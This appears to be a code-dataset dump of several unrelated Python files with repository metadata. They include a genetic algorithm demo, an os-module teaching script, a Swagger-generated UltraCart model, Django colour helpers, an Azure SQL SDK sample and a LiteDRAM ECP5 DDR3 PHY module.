np.random.choice(self.population, size=2, p=parent_probs, replace=False) # Perform crossover to produce offspring child1, child2 = self._crossover(parents[0], parents[1]) # Save mutated offspring for next generation new_population += [self._mutate(child1), self._mutate(child2)] print ("[%d Closest Candidate: '%s', Fitness: %.2f]" % (epoch, fittest_individual, highest_fitness)) self.population = new_population print ("[%d Answer: '%s']" % (epoch, fittest_individual)) def main(): target_string = "Genetic Algorithm" population_size = 100 mutation_rate = 0.05 genetic_algorithm = GeneticAlgorithm(target_string, population_size, mutation_rate) print ("") print ("+--------+") print ("| GA |") print ("+--------+") print ("Description: Implementation of a Genetic Algorithm which aims to produce") print ("the user specified target string. This implementation calculates each") print ("candidate's fitness based on the alphabetical distance between the candidate") print ("and the target. A candidate is selected as a parent with probabilities proportional") print ("to the candidate's fitness. Reproduction is implemented as a single-point") print ("crossover between pairs of parents. Mutation is done by randomly assigning") print ("new characters with uniform probability.") print ("") print ("Parameters") print ("----------") print ("Target String: '%s'" % target_string) print ("Population Size: %d" % population_size) print ("Mutation Rate: %s" % mutation_rate) print ("") genetic_algorithm.run(iterations=1000) if __name__ == "__main__": main()
52be8e15b25ae2d05f9c682e3964907f3b834520
59cf95f3344bc8284b325691ac9e01a988d0390a
/Session21.py
2ee32100cbd79b7d8ff851b50d644c7d8c1a0dd2
[]
no_license
ishantk/GW2021PY1
8932282895c8a3a53d64f83e2710541beca8e4a7
0d20ad4103f90568e165b35ff571c4672de16147
refs/heads/master
2023-08-01T05:02:39.358314
2021-09-17T12:09:40
2021-09-17T12:09:40
387,378,623
0
4
null
null
null
null
UTF-8
Python
false
false
683
py
import os print(os.name) print(os.uname()) print(os.getlogin()) print(os.getcwd()) print(os.getppid()) path_to_directory = "/Users/ishantkumar/Downloads/profilepage" path_to_file = "/Users/ishantkumar/Downloads/Ishant.pdf" print(os.path.isdir(path_to_directory)) print(os.path.isfile(path_to_file)) # path_to_directory = "/Users/ishantkumar/Downloads/GW2020PY1" # os.mkdir(path_to_directory) files = os.walk(path_to_directory) files = list(files) for file in files: print(file) for data in files[0]: print(data, len(data)) print("Directories:", len(files[0][1])) print("Files:", len(files[0][2])) # Mini Project: File Explorer -> Extract different types of files :)
9d4313101fa758d947c55a7a942fc0fbb6582ba0
1c2428489013d96ee21bcf434868358312f9d2af
/ultracart/models/coupon_amount_off_subtotal_with_items_purchase.py
41fa3bf9b7bd54a00159e397d0b0dd8c1f743eb2
[ "Apache-2.0" ]
permissive
UltraCart/rest_api_v2_sdk_python
7821a0f6e0e19317ee03c4926bec05972900c534
8529c0bceffa2070e04d467fcb2b0096a92e8be4
refs/heads/master
2023-09-01T00:09:31.332925
2023-08-31T12:52:10
2023-08-31T12:52:10
67,047,356
2
0
null
null
null
null
UTF-8
Python
false
false
7,078
py
# coding: utf-8 """ UltraCart Rest API V2 UltraCart REST API Version 2 # noqa: E501 OpenAPI spec version: 2.0.0 Contact: [email protected] Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re # noqa: F401 import six class CouponAmountOffSubtotalWithItemsPurchase(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'currency_code': 'str', 'discount_amount': 'float', 'items': 'list[str]', 'required_purchase_quantity': 'int' } attribute_map = { 'currency_code': 'currency_code', 'discount_amount': 'discount_amount', 'items': 'items', 'required_purchase_quantity': 'required_purchase_quantity' } def __init__(self, currency_code=None, discount_amount=None, items=None, required_purchase_quantity=None): # noqa: E501 """CouponAmountOffSubtotalWithItemsPurchase - a model defined in Swagger""" # noqa: E501 self._currency_code = None self._discount_amount = None self._items = None self._required_purchase_quantity = None self.discriminator = None if currency_code is not None: self.currency_code = currency_code if discount_amount is not None: self.discount_amount = discount_amount if items is not None: self.items = items if required_purchase_quantity is not None: self.required_purchase_quantity = required_purchase_quantity @property def currency_code(self): """Gets the currency_code of this CouponAmountOffSubtotalWithItemsPurchase. # noqa: E501 The ISO-4217 three letter currency code the customer is viewing prices in # noqa: E501 :return: The currency_code of this CouponAmountOffSubtotalWithItemsPurchase. # noqa: E501 :rtype: str """ return self._currency_code @currency_code.setter def currency_code(self, currency_code): """Sets the currency_code of this CouponAmountOffSubtotalWithItemsPurchase. The ISO-4217 three letter currency code the customer is viewing prices in # noqa: E501 :param currency_code: The currency_code of this CouponAmountOffSubtotalWithItemsPurchase. # noqa: E501 :type: str """ if currency_code is not None and len(currency_code) > 3: raise ValueError("Invalid value for `currency_code`, length must be less than or equal to `3`") # noqa: E501 self._currency_code = currency_code @property def discount_amount(self): """Gets the discount_amount of this CouponAmountOffSubtotalWithItemsPurchase. # noqa: E501 The amount of shipping discount # noqa: E501 :return: The discount_amount of this CouponAmountOffSubtotalWithItemsPurchase. # noqa: E501 :rtype: float """ return self._discount_amount @discount_amount.setter def discount_amount(self, discount_amount): """Sets the discount_amount of this CouponAmountOffSubtotalWithItemsPurchase. The amount of shipping discount # noqa: E501 :param discount_amount: The discount_amount of this CouponAmountOffSubtotalWithItemsPurchase. # noqa: E501 :type: float """ self._discount_amount = discount_amount @property def items(self): """Gets the items of this CouponAmountOffSubtotalWithItemsPurchase. # noqa: E501 A list of items of which a quantity of one or many must be purchased for coupon to be valid. # noqa: E501 :return: The items of this CouponAmountOffSubtotalWithItemsPurchase. # noqa: E501 :rtype: list[str] """ return self._items @items.setter def items(self, items): """Sets the items of this CouponAmountOffSubtotalWithItemsPurchase. A list of items of which a quantity of one or many must be purchased for coupon to be valid. # noqa: E501 :param items: The items of this CouponAmountOffSubtotalWithItemsPurchase. # noqa: E501 :type: list[str] """ self._items = items @property def required_purchase_quantity(self): """Gets the required_purchase_quantity of this CouponAmountOffSubtotalWithItemsPurchase. # noqa: E501 The quantity of items that must be purchased for the discount to be applied. # noqa: E501 :return: The required_purchase_quantity of this CouponAmountOffSubtotalWithItemsPurchase. # noqa: E501 :rtype: int """ return self._required_purchase_quantity @required_purchase_quantity.setter def required_purchase_quantity(self, required_purchase_quantity): """Sets the required_purchase_quantity of this CouponAmountOffSubtotalWithItemsPurchase. The quantity of items that must be purchased for the discount to be applied. # noqa: E501 :param required_purchase_quantity: The required_purchase_quantity of this CouponAmountOffSubtotalWithItemsPurchase. # noqa: E501 :type: int """ self._required_purchase_quantity = required_purchase_quantity def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value if issubclass(CouponAmountOffSubtotalWithItemsPurchase, dict): for key, value in self.items(): result[key] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, CouponAmountOffSubtotalWithItemsPurchase): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other
9525643788f81bbc4fd703048134022606188cc6
3a4fbde06794da1ec4c778055dcc5586eec4b7d2
/_google_app_engine-projects/django-gae2django/django/core/management/color.py
9e1f4bc3c7035f41cb793f3cff4c5c80232312fc
[ "Apache-2.0" ]
permissive
raychorn/svn_python-django-projects
27b3f367303d6254af55c645ea003276a5807798
df0d90c72d482b8a1e1b87e484d7ad991248ecc8
refs/heads/main
2022-12-30T20:36:25.884400
2020-10-15T21:52:32
2020-10-15T21:52:32
304,455,211
0
0
null
null
null
null
UTF-8
Python
false
false
1,339
py
""" Sets up the terminal color scheme. """ import sys from django.utils import termcolors def supports_color(): """ Returns True if the running system's terminal supports color, and False otherwise. """ unsupported_platform = (sys.platform in ('win32', 'Pocket PC')) # isatty is not always implemented, #6223. is_a_tty = hasattr(sys.stdout, 'isatty') and sys.stdout.isatty() if unsupported_platform or not is_a_tty: return False return True def color_style(): """Returns a Style object with the Django color scheme.""" if not supports_color(): return no_style() class dummy: pass style = dummy() style.ERROR = termcolors.make_style(fg='red', opts=('bold',)) style.ERROR_OUTPUT = termcolors.make_style(fg='red', opts=('bold',)) style.NOTICE = termcolors.make_style(fg='red') style.SQL_FIELD = termcolors.make_style(fg='green', opts=('bold',)) style.SQL_COLTYPE = termcolors.make_style(fg='green') style.SQL_KEYWORD = termcolors.make_style(fg='yellow') style.SQL_TABLE = termcolors.make_style(opts=('bold',)) return style def no_style(): """Returns a Style object that has no colors.""" class dummy: def __getattr__(self, attr): return lambda x: x return dummy()
8e50fe8cb7476ae32c0df2bdf7c48b016713463d
eb0345c732b9525db372283fe6105f553d6bddbf
/backendapi/prescription/serializers.py
596707772dc9f5393e68fbef67bfdfef64734622
[]
no_license
mahidulmoon/djreact-smart-medic
1f0a6b3de8981858d4234b4da8d76b52e1911f70
9d07d93aa1ff27558cd496a4aa94167c8983958a
refs/heads/master
2021-05-22T01:49:00.155572
2020-04-04T05:13:27
2020-04-04T05:13:27
252,911,771
0
0
null
null
null
null
UTF-8
Python
false
false
199
py
from rest_framework import serializers from .models import Prescription class PrescriptionSerializer(serializers.ModelSerializer): class Meta: model=Prescription fields="__all__"
3e380c6fd02a0177ec6250011cfc2ca40ee52f41
a8750439f200e4efc11715df797489f30e9828c6
/HackerEarth/char_sum.py
72a2c7a776d2883356fa9090ce608f02c2eff36b
[]
no_license
rajlath/rkl_codes
f657174305dc85c3fa07a6fff1c7c31cfe6e2f89
d4bcee3df2f501349feed7a26ef9828573aff873
refs/heads/master
2023-02-21T10:16:35.800612
2021-01-27T11:43:34
2021-01-27T11:43:34
110,989,354
0
0
null
null
null
null
UTF-8
Python
false
false
120
py
from string import ascii_lowercase as al weights = dict(zip(al, range(1, 27))) print(sum([weights[x] for x in input()]))
e1e603be0d0b6b5a04022895a942d4b2ce6476f7
f576f0ea3725d54bd2551883901b25b863fe6688
/sdk/sql/azure-mgmt-sql/generated_samples/server_advanced_threat_protection_settings_create_min.py
6c0235f2a980a9217c5d24fd3ecae5af2e6b9d20
[ "MIT", "LicenseRef-scancode-generic-cla", "LGPL-2.1-or-later" ]
permissive
Azure/azure-sdk-for-python
02e3838e53a33d8ba27e9bcc22bd84e790e4ca7c
c2ca191e736bb06bfbbbc9493e8325763ba990bb
refs/heads/main
2023-09-06T09:30:13.135012
2023-09-06T01:08:06
2023-09-06T01:08:06
4,127,088
4,046
2,755
MIT
2023-09-14T21:48:49
2012-04-24T16:46:12
Python
UTF-8
Python
false
false
1,785
py
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is regenerated. # -------------------------------------------------------------------------- from azure.identity import DefaultAzureCredential from azure.mgmt.sql import SqlManagementClient """ # PREREQUISITES pip install azure-identity pip install azure-mgmt-sql # USAGE python server_advanced_threat_protection_settings_create_min.py Before run the sample, please set the values of the client ID, tenant ID and client secret of the AAD application as environment variables: AZURE_CLIENT_ID, AZURE_TENANT_ID, AZURE_CLIENT_SECRET. For more info about how to get the value, please see: https://docs.microsoft.com/azure/active-directory/develop/howto-create-service-principal-portal """ def main(): client = SqlManagementClient( credential=DefaultAzureCredential(), subscription_id="00000000-1111-2222-3333-444444444444", ) response = client.server_advanced_threat_protection_settings.begin_create_or_update( resource_group_name="threatprotection-4799", server_name="threatprotection-6440", advanced_threat_protection_name="Default", parameters={"properties": {"state": "Disabled"}}, ).result() print(response) # x-ms-original-file: specification/sql/resource-manager/Microsoft.Sql/preview/2021-11-01-preview/examples/ServerAdvancedThreatProtectionSettingsCreateMin.json if __name__ == "__main__": main()
e19e8836af87a74037a78fd6d6de4aee2097db37
98d45064d27904fe7f47fa2506cea5458b07d614
/ecp5ddrphy.py
43b512cc0ac944f258f5b3d34542b00810b68823
[]
no_license
daveshah1/versa_ecp5_dram
5a2ffe1220594c1562f7279093fee530c02119a2
60235f1fbf11e21008b3323f11dd9719a7fdd19e
refs/heads/master
2020-04-17T23:43:28.465984
2018-12-10T10:50:33
2018-12-10T10:50:33
167,047,772
0
0
null
2019-01-22T18:44:45
2019-01-22T18:44:45
null
UTF-8
Python
false
false
15,484
py
# 1:2 frequency-ratio DDR3 PHY for Lattice's ECP5 # DDR3: 800 MT/s import math from collections import OrderedDict from migen import * from migen.genlib.misc import BitSlip from migen.fhdl.specials import Tristate from litex.soc.interconnect.csr import * from litedram.common import PhySettings from litedram.phy.dfi import * def get_cl_cw(memtype, tck): f_to_cl_cwl = OrderedDict() if memtype == "DDR3": f_to_cl_cwl[800e6] = (6, 5) else: raise ValueError for f, (cl, cwl) in f_to_cl_cwl.items(): if tck >= 2/f: return cl, cwl raise ValueError def get_sys_latency(nphases, cas_latency): return math.ceil(cas_latency/nphases) def get_sys_phases(nphases, sys_latency, cas_latency): dat_phase = sys_latency*nphases - cas_latency cmd_phase = (dat_phase - 1)%nphases return cmd_phase, dat_phase class ECP5DDRPHY(Module, AutoCSR): def __init__(self, pads, sys_clk_freq=100e6): memtype = "DDR3" tck = 2/(2*2*sys_clk_freq) addressbits = len(pads.a) bankbits = len(pads.ba) nranks = 1 if not hasattr(pads, "cs_n") else len(pads.cs_n) databits = len(pads.dq) nphases = 2 self._wlevel_en = CSRStorage() self._wlevel_strobe = CSR() self._dly_sel = CSRStorage(databits//8) self._rdly_dq_rst = CSR() self._rdly_dq_inc = CSR() self._rdly_dq_bitslip_rst = CSR() self._rdly_dq_bitslip = CSR() self._wdly_dq_rst = CSR() self._wdly_dq_inc = CSR() self._wdly_dqs_rst = CSR() self._wdly_dqs_inc = CSR() # compute phy settings cl, cwl = get_cl_cw(memtype, tck) cl_sys_latency = get_sys_latency(nphases, cl) cwl_sys_latency = get_sys_latency(nphases, cwl) rdcmdphase, rdphase = get_sys_phases(nphases, cl_sys_latency, cl) wrcmdphase, wrphase = get_sys_phases(nphases, cwl_sys_latency, cwl) self.settings = PhySettings( memtype=memtype, dfi_databits=4*databits, nranks=nranks, nphases=nphases, rdphase=rdphase, wrphase=wrphase, rdcmdphase=rdcmdphase, wrcmdphase=wrcmdphase, cl=cl, cwl=cwl, read_latency=2 + cl_sys_latency + 2 + log2_int(4//nphases) + 3, # FIXME write_latency=cwl_sys_latency ) self.dfi = Interface(addressbits, bankbits, nranks, 4*databits, 4) # # # bl8_sel = Signal() # Clock for i in range(len(pads.clk_p)): sd_clk_se = Signal() self.specials += [ Instance("ODDRX2F", i_D0=0, i_D1=1, i_D2=0, i_D3=1, i_ECLK=ClockSignal("sys2x"), i_SCLK=ClockSignal(), i_RST=ResetSignal(), o_Q=pads.clk_p[i] ), ] # Addresses and commands for i in range(addressbits): self.specials += \ Instance("ODDRX2F", i_D0=self.dfi.phases[0].address[i], i_D1=self.dfi.phases[0].address[i], i_D2=self.dfi.phases[1].address[i], i_D3=self.dfi.phases[1].address[i], i_ECLK=ClockSignal("sys2x"), i_SCLK=ClockSignal(), i_RST=ResetSignal(), o_Q=pads.a[i] ) for i in range(bankbits): self.specials += \ Instance("ODDRX2F", i_D0=self.dfi.phases[0].bank[i], i_D1=self.dfi.phases[0].bank[i], i_D2=self.dfi.phases[1].bank[i], i_D3=self.dfi.phases[1].bank[i], i_ECLK=ClockSignal("sys2x"), i_SCLK=ClockSignal(), i_RST=ResetSignal(), o_Q=pads.ba[i] ) controls = ["ras_n", "cas_n", "we_n", "cke", "odt"] if hasattr(pads, "reset_n"): controls.append("reset_n") if hasattr(pads, "cs_n"): controls.append("cs_n") for name in controls: for i in range(len(getattr(pads, name))): self.specials += \ Instance("ODDRX2F", i_D0=getattr(self.dfi.phases[0], name)[i], i_D1=getattr(self.dfi.phases[0], name)[i], i_D2=getattr(self.dfi.phases[1], name)[i], i_D3=getattr(self.dfi.phases[1], name)[i], i_ECLK=ClockSignal("sys2x"), i_SCLK=ClockSignal(), i_RST=ResetSignal(), o_Q=getattr(pads, name)[i] ) # DQSBUFM dqsr90 = Signal() dqsw270 = Signal() dqsw = Signal() rdpntr = Signal(3) wrpntr = Signal(3) self.specials += Instance("DQSBUFM", i_DDRDEL=0b0, i_PAUSE=0b0, i_DQSI=pads.dqs_p[0], i_READ0=0b0, i_READ1=0b0, i_READCLKSEL0=0b0, i_READCLKSEL1=0b0, i_READCLKSEL2=0b0, i_DYNDELAY0=0b0, i_DYNDELAY1=0b0, i_DYNDELAY2=0b0, i_DYNDELAY3=0b0, i_DYNDELAY4=0b0, i_DYNDELAY5=0b0, i_DYNDELAY6=0b0, i_DYNDELAY7=0b0, i_RDLOADN=0, i_RDMOVE=0, i_RDDIRECTION=0, i_WRLOADN=0, i_WRMOVE=0, i_WRDIRECTION=0, #o_RDCFLAG=, #o_WRCFLAG=, #o_DATAVALID=, #o_BURSTDET=, o_DQSR90=dqsr90, o_RDPNTR0=rdpntr[0], o_RDPNTR1=rdpntr[1], o_RDPNTR2=rdpntr[2], o_WRPNTR0=wrpntr[0], o_WRPNTR1=wrpntr[1], o_WRPNTR2=wrpntr[2], i_SCLK=ClockSignal("sys"), i_ECLK=ClockSignal("sys2x"), o_DQSW270=dqsw270, o_DQSW=dqsw ) # DQS and DM oe_dqs = Signal() dqs_preamble = Signal() dqs_postamble = Signal() dqs_serdes_pattern = Signal(8, reset=0b01010101) self.comb += \ If(self._wlevel_en.storage, If(self._wlevel_strobe.re, dqs_serdes_pattern.eq(0b00000001) ).Else( dqs_serdes_pattern.eq(0b00000000) ) ).Elif(dqs_preamble | dqs_postamble, dqs_serdes_pattern.eq(0b0000000) ).Else( dqs_serdes_pattern.eq(0b01010101) ) for i in range(databits//8): dm_o_nodelay = Signal() dm_data = Signal(8) dm_data_d = Signal(8) dm_data_muxed = Signal(4) self.comb += dm_data.eq(Cat( self.dfi.phases[0].wrdata_mask[0*databits//8+i], self.dfi.phases[0].wrdata_mask[1*databits//8+i], self.dfi.phases[0].wrdata_mask[2*databits//8+i], self.dfi.phases[0].wrdata_mask[3*databits//8+i], self.dfi.phases[1].wrdata_mask[0*databits//8+i], self.dfi.phases[1].wrdata_mask[1*databits//8+i], self.dfi.phases[1].wrdata_mask[2*databits//8+i], self.dfi.phases[1].wrdata_mask[3*databits//8+i]), ) self.sync += dm_data_d.eq(dm_data) self.comb += \ If(bl8_sel, dm_data_muxed.eq(dm_data_d[4:]) ).Else( dm_data_muxed.eq(dm_data[:4]) ) self.specials += \ Instance("ODDRX2DQA", i_D0=dm_data_muxed[0], i_D1=dm_data_muxed[1], i_D2=dm_data_muxed[2], i_D3=dm_data_muxed[3], i_RST=ResetSignal(), i_DQSW270=dqsw270, i_ECLK=ClockSignal("sys2x"), i_SCLK=ClockSignal(), o_Q=dm_o_nodelay ) self.specials += \ Instance("DELAYF", i_A=dm_o_nodelay, i_LOADN=self._dly_sel.storage[i] & self._wdly_dq_rst.re, i_MOVE=self._dly_sel.storage[i] & self._wdly_dq_inc.re, i_DIRECTION=0, o_Z=pads.dm[i], #o_CFLAG=, ) dqs_nodelay = Signal() dqs_delayed = Signal() dqs_oe = Signal() self.specials += \ Instance("ODDRX2DQSB", i_D0=dqs_serdes_pattern[0], i_D1=dqs_serdes_pattern[1], i_D2=dqs_serdes_pattern[2], i_D3=dqs_serdes_pattern[3], i_RST=ResetSignal(), i_DQSW=dqsw, i_ECLK=ClockSignal("sys2x"), i_SCLK=ClockSignal(), o_Q=dqs_nodelay ) self.specials += \ Instance("DELAYF", i_A=dqs_nodelay, i_LOADN=self._dly_sel.storage[i] & self._wdly_dqs_rst.re, i_MOVE=self._dly_sel.storage[i] & self._wdly_dqs_inc.re, i_DIRECTION=0, o_Z=dqs_delayed, #o_CFLAG=, ) self.specials += \ Instance("TSHX2DQSA", i_T0=oe_dqs, i_T1=oe_dqs, i_SCLK=ClockSignal(), i_ECLK=ClockSignal("sys2x"), i_DQSW=dqsw, i_RST=ResetSignal(), o_Q=dqs_oe, ) self.specials += Tristate(pads.dqs_p[i], dqs_delayed, dqs_oe) # DQ oe_dq = Signal() for i in range(databits): dq_o_nodelay = Signal() dq_o_delayed = Signal() dq_i_nodelay = Signal() dq_i_delayed = Signal() dq_oe = Signal() dq_data = Signal(8) dq_data_d = Signal(8) dq_data_muxed = Signal(4) self.comb += dq_data.eq(Cat( self.dfi.phases[0].wrdata[0*databits+i], self.dfi.phases[0].wrdata[1*databits+i], self.dfi.phases[0].wrdata[2*databits+i], self.dfi.phases[0].wrdata[3*databits+i], self.dfi.phases[1].wrdata[0*databits+i], self.dfi.phases[1].wrdata[1*databits+i], self.dfi.phases[1].wrdata[2*databits+i], self.dfi.phases[1].wrdata[3*databits+i]) ) self.sync += dq_data_d.eq(dq_data) self.comb += \ If(bl8_sel, dq_data_muxed.eq(dq_data_d[4:]) ).Else( dq_data_muxed.eq(dq_data[:4]) ) self.specials += \ Instance("ODDRX2DQA", i_D0=dq_data_muxed[0], i_D1=dq_data_muxed[1], i_D2=dq_data_muxed[2], i_D3=dq_data_muxed[3], i_RST=ResetSignal(), i_DQSW270=dqsw270, i_ECLK=ClockSignal("sys2x"), i_SCLK=ClockSignal(), o_Q=dq_o_nodelay ) self.specials += \ Instance("DELAYF", i_A=dq_o_nodelay, i_LOADN=self._dly_sel.storage[i//8] & self._wdly_dq_rst.re, i_MOVE=self._dly_sel.storage[i//8] & self._wdly_dq_inc.re, i_DIRECTION=0, o_Z=dq_o_delayed, #o_CFLAG=, ) dq_i_data = Signal(8) dq_i_data_d = Signal(8) self.specials += \ Instance("IDDRX2DQA", i_D=dq_i_delayed, i_RST=ResetSignal(), i_DQSR90=dqsr90, i_SCLK=ClockSignal(), i_ECLK=ClockSignal("sys2x"), i_RDPNTR0=rdpntr[0], i_RDPNTR1=rdpntr[1], i_RDPNTR2=rdpntr[2], i_WRPNTR0=wrpntr[0], i_WRPNTR1=wrpntr[1], i_WRPNTR2=wrpntr[2], o_Q0=dq_i_data[0], o_Q1=dq_i_data[1], o_Q2=dq_i_data[2], o_Q3=dq_i_data[3], ) dq_bitslip = BitSlip(4) self.comb += dq_bitslip.i.eq(dq_i_data) self.sync += \ If(self._dly_sel.storage[i//8], If(self._rdly_dq_bitslip_rst.re, dq_bitslip.value.eq(0) ).Elif(self._rdly_dq_bitslip.re, dq_bitslip.value.eq(dq_bitslip.value + 1) ) ) self.submodules += dq_bitslip self.sync += dq_i_data_d.eq(dq_i_data) self.comb += [ self.dfi.phases[0].rddata[i].eq(dq_bitslip.o[0]), self.dfi.phases[0].rddata[databits+i].eq(dq_bitslip.o[1]), self.dfi.phases[1].rddata[i].eq(dq_bitslip.o[2]), self.dfi.phases[1].rddata[databits+i].eq(dq_bitslip.o[3]) ] #self.specials += \ # Instance("DELAYF", # i_A=dq_i_nodelay, # i_LOADN=self._dly_sel.storage[i//8] & self._rdly_dq_rst.re, # i_MOVE=self._dly_sel.storage[i//8] & self._wdly_dq_inc.re, # i_DIRECTION=0, # o_Z=dq_i_delayed, # #o_CFLAG=, # ) self.specials += \ Instance("TSHX2DQA", i_T0=oe_dq, i_T1=oe_dq, i_SCLK=ClockSignal(), i_ECLK=ClockSignal("sys2x"), i_DQSW270=dqsw270, i_RST=ResetSignal(), o_Q=dq_oe, ) self.specials += Tristate(pads.dq[i], dq_o_delayed, dq_oe, dq_i_delayed) # Flow control # # total read latency: # N cycles through ODDRX2DQA FIXME # cl_sys_latency cycles CAS # M cycles through IDDRX2DQA FIXME rddata_en = self.dfi.phases[self.settings.rdphase].rddata_en for i in range(self.settings.read_latency-1): n_rddata_en = Signal() self.sync += n_rddata_en.eq(rddata_en) rddata_en = n_rddata_en self.sync += [phase.rddata_valid.eq(rddata_en | self._wlevel_en.storage) for phase in self.dfi.phases] oe = Signal() last_wrdata_en = Signal(cwl_sys_latency+3) wrphase = self.dfi.phases[self.settings.wrphase] self.sync += last_wrdata_en.eq(Cat(wrphase.wrdata_en, last_wrdata_en[:-1])) self.comb += oe.eq( last_wrdata_en[cwl_sys_latency-1] | last_wrdata_en[cwl_sys_latency] | last_wrdata_en[cwl_sys_latency+1] | last_wrdata_en[cwl_sys_latency+2]) self.sync += \ If(self._wlevel_en.storage, oe_dqs.eq(1), oe_dq.eq(0) ).Else( oe_dqs.eq(oe), oe_dq.eq(oe) ) self.sync += bl8_sel.eq(last_wrdata_en[cwl_sys_latency-1])